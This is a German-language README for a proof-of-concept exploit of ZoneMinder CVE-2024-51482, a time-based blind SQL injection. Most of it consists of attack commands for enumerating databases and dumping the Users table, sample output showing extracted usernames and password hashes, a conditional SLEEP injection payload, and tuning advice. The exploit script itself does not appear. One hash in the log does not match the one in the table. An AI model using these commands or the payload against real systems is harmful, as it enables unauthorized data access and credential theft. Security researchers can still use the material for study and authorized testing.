
Authentifizierte zeitbasierte blinde SQL-Injection-PoC für ZoneMinder CVE-2024-51482 (v1.37.* <= 1.37.64)
Authentifizierter zeitbasierter Blind-SQL-Injection-Exploit für ZoneMinder v1.37. <= 1.37.64*
Dies ist ein Proof-of-Concept-Exploit für CVE-2024-51482, eine zeitbasierte Blind-SQL-Injection-Schwachstelle in der Ereignisverwaltungsfunktion von ZoneMinder. Der Exploit erfordert eine Authentifizierung und verwendet bedingte SLEEP-Abfragen, um Daten aus der Datenbank zu extrahieren.
pip install requests
python3 poc.py -t example.local -u admin -p password
python3 poc.py -t example.local --cookie 'ZMSESSID_value'
python3 poc.py -t example.local -u admin -p password -v
python3 poc.py -t example.local -u admin -p password --dbs
python3 poc.py -t example.local -u admin -p password -D zm --tables
python3 poc.py -t example.local -u admin -p password -D zm -T Users --columns
python3 poc.py -t example.local -u admin -p password -D zm -T Users --dump
Required:
-t, --target TARGET Target URL (IP, hostname, or full URL)
Authentication:
-u, --username USERNAME Username for authentication
-p, --password PASSWORD Password for authentication
--cookie COOKIE Session cookie (ZMSESSID)
Enumeration:
--dbs Enumerate databases
-D, --database DATABASE Database to use
--tables Enumerate tables
-T, --table TABLE Table to use
--columns Enumerate columns
--dump Dump table data
Performance:
--delay DELAY Time delay in seconds (default: 3, safe)
--threads THREADS Number of threads (default: 5, safe)
-v, --verbose Show extraction progress
python3 poc.py -t example.local -u admin -p password --delay 3 --threads 5
python3 poc.py -t example.local -u admin -p password --delay 1 --threads 20
[*] Target: http://example.local
[*] Delay: 3s | Threads: 5
[+] Authenticated as admin
[*] Testing vulnerability...
[+] Target is VULNERABLE!
[*] Default mode: Dumping zm.Users credentials...
[*] Dumping data from 'zm.Users'...
[+] Extracted: admin
[+] Extracted: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Extracted: john
[+] Extracted: $2y$10$prZGnazejKcaLq9bKNexXOglBSqOl1hq07LW7AJ/QNqZolbXKfFG.
====================================================================================
| Username | Password |
====================================================================================
| admin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| john | $2y$10$prABlsrtyjkiWv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
====================================================================================
[+] 2 entries dumped
Der Exploit verwendet bedingtes SLEEP:
1 AND (SELECT 1 FROM (SELECT(SLEEP(3-(IF(condition,0,3)))))test)
Wenn Sie falsche Zeichen erhalten (z. B. $ wird zu 8):
# Increase delay and reduce threads
python3 poc.py -t example.local -u admin -p password --delay 4 --threads 3
Wenn die Extraktion zu langsam ist:
# Decrease delay and increase threads (may reduce accuracy)
python3 poc.py -t example.local -u admin -p password --delay 2 --threads 10
Wenn die Standardtabelle zm.Users nicht existiert:
# Enumerate databases first
python3 poc.py -t example.local -u admin -p password --dbs
# Then enumerate tables
python3 poc.py -t example.local -u admin -p password -D database_name --tables
Dieses Tool dient ausschließlich Lehr- und autorisierten Sicherheitstestzwecken.
Dieses Projekt wird ausschließlich zu Lehrzwecken bereitgestellt. Verwenden Sie es verantwortungsvoll und ethisch.
⭐ Wenn Sie dies nützlich finden, geben Sie dem Repository bitte einen Stern!